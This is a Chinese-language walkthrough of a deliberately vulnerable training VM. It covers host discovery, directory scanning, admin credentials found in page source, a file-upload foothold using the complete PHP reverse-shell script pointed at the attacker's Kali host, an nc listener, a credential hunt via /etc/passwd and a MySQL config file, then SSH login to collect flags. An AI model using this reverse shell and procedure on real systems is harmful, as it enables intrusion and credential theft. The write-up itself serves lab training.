靶機難度:中等
這個靶機得用virtualbox打開,環境:vmware 上kali,virtualbox上靶機,如何讓他們在一個內網裏,請看這篇文章https://blog.csdn.net/qq_43342566/article/details/102679837
0x00
首先netdiscover 先來發先主機
netdiscover -r 192.168.56.0/24
很顯然101是目標靶機
nmap掃描一下
nmap -A 192.168.56.101
就開放了2個端口,22和80端口。
0x01
dirb掃描一下網頁目錄
dirb http://192.168.56.101
有一個flag目錄,訪問一下,oh,第一個flag到手flag{8734509128730458630012095}
還有一個/admin_area/目錄,訪問查看源代碼,收穫很大
第二個flag:flag{7412574125871236547895214}
管理員賬號密碼:
username : admin
password : 3v1l_H@ck3r
再查看一下robots.txt
發現只有/upload_files和 /flag能打開
先放這吧
0x02
之前得到了管理員賬號密碼,我們登上去康康。
是一個文件上傳,嘗試上傳一個php的馬上去
代碼如下 cat /usr/share/webshells/php/php-reverse-shell.php,修改一下ip地址和端口
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.102'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
然後kali這邊開啓監聽
nc -nvlp 4444
然後我們去訪問上傳的東西,剛剛找到一個/uploaded_files/文件夾,現在去訪問看看,卻什麼都沒有,那在後面直接加一個文件名看看,成功反彈shell.
0x03
到網站目錄,發現了一個flag.txt,沒有權限讀,有一個hint.txt。
第三個flag到手,flag{7645110034526579012345670}
告訴我們要去找technawi的密碼,他藏在一個文件裏。
cat /etc/passwd看一下
果然有這個用戶,我們查看一下這個用戶的操作信息
find / -user technawi -type f 2>& 1 | grep -v “Permission” | grep -v “No such”
cat一下
cat /etc/mysql/conf.d/credentials.txt
得到了第四個flag,flag{7845658974123568974185412}
用戶名密碼給出來了
username : technawi
password : 3vilH@ksor
我們連過去
ssh [email protected]
直接 cat flag.txt 第五個flag{5473215946785213456975249}